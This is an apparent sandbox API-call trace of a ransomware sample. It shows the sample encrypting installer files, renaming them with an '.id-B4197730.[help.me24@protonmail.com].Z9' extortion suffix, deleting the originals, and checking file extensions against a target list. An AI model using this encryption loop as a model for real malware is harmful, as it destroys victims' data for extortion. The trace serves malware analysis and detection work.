	[0070.095] CloseHandle (hObject=0x2bc) returned 1
	[0070.095] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0070.095] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1033\\localizeddata.xml")) returned 1
	[0070.096] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0070.096] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0070.096] lstrlenW (lpString=".doc") returned 4
	[0070.096] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.096] lstrlenW (lpString=".docx") returned 5
	[0070.096] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0070.096] lstrlenW (lpString=".pdf") returned 4
	[0070.096] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.096] lstrlenW (lpString=".xls") returned 4
	[0070.096] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.096] lstrlenW (lpString=".xlsx") returned 5
	[0070.096] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0070.096] lstrlenW (lpString=".ppt") returned 4
	[0070.096] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.096] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0070.096] lstrlenW (lpString=".zip") returned 4
	[0070.096] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.096] lstrlenW (lpString=".rar") returned 4
	[0070.096] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.096] lstrlenW (lpString=".bz2") returned 4
	[0070.096] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.096] lstrlenW (lpString=".7z") returned 3
	[0070.096] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.096] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0070.096] lstrlenW (lpString=".dbf") returned 4
	[0070.096] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.096] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0070.096] lstrlenW (lpString=".1cd") returned 4
	[0070.097] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0070.097] lstrlenW (lpString=".jpg") returned 4
	[0070.097] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0070.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0070.097] lstrlenW (lpString=".doc") returned 4
	[0070.097] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.097] lstrlenW (lpString=".docx") returned 5
	[0070.097] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0070.097] lstrlenW (lpString=".pdf") returned 4
	[0070.097] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.097] lstrlenW (lpString=".xls") returned 4
	[0070.097] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.097] lstrlenW (lpString=".xlsx") returned 5
	[0070.097] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0070.097] lstrlenW (lpString=".ppt") returned 4
	[0070.097] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0070.097] lstrlenW (lpString=".zip") returned 4
	[0070.097] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.097] lstrlenW (lpString=".rar") returned 4
	[0070.097] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.097] lstrlenW (lpString=".bz2") returned 4
	[0070.097] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.097] lstrlenW (lpString=".7z") returned 3
	[0070.097] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0070.097] lstrlenW (lpString=".dbf") returned 4
	[0070.097] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.097] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0070.097] lstrlenW (lpString=".1cd") returned 4
	[0070.098] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.098] lstrlenW (lpString="C:\\588bce7c90097ed212\\1033\\LocalizedData.xml") returned 44
	[0070.098] lstrlenW (lpString=".jpg") returned 4
	[0070.098] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.098] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0070.098] lstrlenW (lpString="eula.rtf") returned 8
	[0070.098] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0070.098] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3526) returned 1
	[0070.098] CloseHandle (hObject=0x2bc) returned 1
	[0070.098] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 0x80
	[0070.098] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.098] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0070.098] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.098] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.098] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0070.431] GetLastError () returned 0x0
	[0070.431] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0xdc6, lpOverlapped=0x0) returned 1
	[0070.639] WriteFile (in: hFile=0x328, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xdd0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xdd0, lpOverlapped=0x0) returned 1
	[0070.640] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.641] WriteFile (in: hFile=0x328, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0070.641] SetEndOfFile (hFile=0x328) returned 1
	[0070.641] CloseHandle (hObject=0x328) returned 1
	[0070.642] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.642] SetEndOfFile (hFile=0x2bc) returned 1
	[0070.643] CloseHandle (hObject=0x2bc) returned 1
	[0070.643] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0070.644] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1036\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1036\\eula.rtf")) returned 1
	[0070.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0070.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0070.644] lstrlenW (lpString=".doc") returned 4
	[0070.644] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.644] lstrlenW (lpString=".docx") returned 5
	[0070.644] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.644] lstrlenW (lpString=".pdf") returned 4
	[0070.644] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.644] lstrlenW (lpString=".xls") returned 4
	[0070.644] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0070.644] lstrlenW (lpString=".xlsx") returned 5
	[0070.644] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0070.644] lstrlenW (lpString=".ppt") returned 4
	[0070.644] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.644] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0070.644] lstrlenW (lpString=".zip") returned 4
	[0070.644] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0070.645] lstrlenW (lpString=".rar") returned 4
	[0070.645] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.645] lstrlenW (lpString=".bz2") returned 4
	[0070.645] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.645] lstrlenW (lpString=".7z") returned 3
	[0070.645] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0070.645] lstrlenW (lpString=".dbf") returned 4
	[0070.645] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0070.645] lstrlenW (lpString=".1cd") returned 4
	[0070.645] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0070.645] lstrlenW (lpString=".jpg") returned 4
	[0070.645] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0070.645] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0070.645] lstrlenW (lpString=".doc") returned 4
	[0070.645] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.645] lstrlenW (lpString=".docx") returned 5
	[0070.645] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.645] lstrlenW (lpString=".pdf") returned 4
	[0070.645] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.646] lstrlenW (lpString=".xls") returned 4
	[0070.646] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0070.646] lstrlenW (lpString=".xlsx") returned 5
	[0070.646] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0070.646] lstrlenW (lpString=".ppt") returned 4
	[0070.646] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.646] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0070.646] lstrlenW (lpString=".zip") returned 4
	[0070.646] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0070.646] lstrlenW (lpString=".rar") returned 4
	[0070.646] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.646] lstrlenW (lpString=".bz2") returned 4
	[0070.646] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.646] lstrlenW (lpString=".7z") returned 3
	[0070.646] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.646] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0070.646] lstrlenW (lpString=".dbf") returned 4
	[0070.646] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.646] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0070.646] lstrlenW (lpString=".1cd") returned 4
	[0070.646] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.646] lstrlenW (lpString="C:\\588bce7c90097ed212\\1036\\eula.rtf") returned 35
	[0070.646] lstrlenW (lpString=".jpg") returned 4
	[0070.646] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.647] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0070.647] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0070.647] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0070.647] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=68226) returned 1
	[0070.647] CloseHandle (hObject=0x2bc) returned 1
	[0070.647] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80
	[0070.647] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.647] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0070.647] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.648] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.648] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328
	[0070.648] GetLastError () returned 0x0
	[0070.648] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x10a82, lpOverlapped=0x0) returned 1
	[0070.874] WriteFile (in: hFile=0x328, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x10a90, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x10a90, lpOverlapped=0x0) returned 1
	[0070.876] ReadFile (in: hFile=0x2bc, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.876] WriteFile (in: hFile=0x328, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xf6, lpOverlapped=0x0) returned 1
	[0070.876] SetEndOfFile (hFile=0x328) returned 1
	[0070.876] CloseHandle (hObject=0x328) returned 1
	[0070.878] SetFilePointerEx (in: hFile=0x2bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.878] SetEndOfFile (hFile=0x2bc) returned 1
	[0070.880] CloseHandle (hObject=0x2bc) returned 1
	[0070.880] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0070.880] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 1
	[0070.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0070.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0070.881] lstrlenW (lpString=".doc") returned 4
	[0070.881] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.881] lstrlenW (lpString=".docx") returned 5
	[0070.881] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0070.881] lstrlenW (lpString=".pdf") returned 4
	[0070.881] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.881] lstrlenW (lpString=".xls") returned 4
	[0070.881] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.881] lstrlenW (lpString=".xlsx") returned 5
	[0070.881] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0070.881] lstrlenW (lpString=".ppt") returned 4
	[0070.881] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0070.881] lstrlenW (lpString=".zip") returned 4
	[0070.881] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.881] lstrlenW (lpString=".rar") returned 4
	[0070.881] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.881] lstrlenW (lpString=".bz2") returned 4
	[0070.881] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.881] lstrlenW (lpString=".7z") returned 3
	[0070.881] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.881] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0070.881] lstrlenW (lpString=".dbf") returned 4
	[0070.881] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0070.882] lstrlenW (lpString=".1cd") returned 4
	[0070.882] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0070.882] lstrlenW (lpString=".jpg") returned 4
	[0070.882] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0070.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0070.882] lstrlenW (lpString=".doc") returned 4
	[0070.882] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.882] lstrlenW (lpString=".docx") returned 5
	[0070.882] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0070.882] lstrlenW (lpString=".pdf") returned 4
	[0070.882] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.882] lstrlenW (lpString=".xls") returned 4
	[0070.882] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.882] lstrlenW (lpString=".xlsx") returned 5
	[0070.882] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0070.882] lstrlenW (lpString=".ppt") returned 4
	[0070.882] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.882] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0070.882] lstrlenW (lpString=".zip") returned 4
	[0070.882] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.882] lstrlenW (lpString=".rar") returned 4
	[0070.882] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.882] lstrlenW (lpString=".bz2") returned 4
	[0070.882] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.882] lstrlenW (lpString=".7z") returned 3
	[0070.882] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0070.883] lstrlenW (lpString=".dbf") returned 4
	[0070.883] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0070.883] lstrlenW (lpString=".1cd") returned 4
	[0070.883] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.883] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44
	[0070.883] lstrlenW (lpString=".jpg") returned 4
	[0070.883] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.883] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0070.883] lstrlenW (lpString="eula.rtf") returned 8
	[0070.883] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0070.894] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=3546) returned 1
	[0070.894] CloseHandle (hObject=0x2f4) returned 1
	[0070.894] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 0x80
	[0070.895] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.895] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0070.895] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.895] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.895] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x32c
	[0070.906] GetLastError () returned 0x0
	[0070.906] ReadFile (in: hFile=0x2f4, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0xdda, lpOverlapped=0x0) returned 1
	[0070.941] WriteFile (in: hFile=0x32c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xde0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xde0, lpOverlapped=0x0) returned 1
	[0070.942] ReadFile (in: hFile=0x2f4, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.942] WriteFile (in: hFile=0x32c, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0070.942] SetEndOfFile (hFile=0x32c) returned 1
	[0070.942] CloseHandle (hObject=0x32c) returned 1
	[0070.947] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.947] SetEndOfFile (hFile=0x2f4) returned 1
	[0070.948] CloseHandle (hObject=0x2f4) returned 1
	[0070.948] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0070.948] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1043\\eula.rtf")) returned 1
	[0070.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0070.948] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0070.948] lstrlenW (lpString=".doc") returned 4
	[0070.948] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.948] lstrlenW (lpString=".docx") returned 5
	[0070.948] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.948] lstrlenW (lpString=".pdf") returned 4
	[0070.948] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.948] lstrlenW (lpString=".xls") returned 4
	[0070.948] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0070.948] lstrlenW (lpString=".xlsx") returned 5
	[0070.948] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0070.949] lstrlenW (lpString=".ppt") returned 4
	[0070.949] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0070.949] lstrlenW (lpString=".zip") returned 4
	[0070.949] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0070.949] lstrlenW (lpString=".rar") returned 4
	[0070.949] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.949] lstrlenW (lpString=".bz2") returned 4
	[0070.949] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.949] lstrlenW (lpString=".7z") returned 3
	[0070.949] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.949] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\eula.rtf") returned 35
	[0070.949] lstrlenW (lpString=".dbf") returned 4
	[0070.949] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
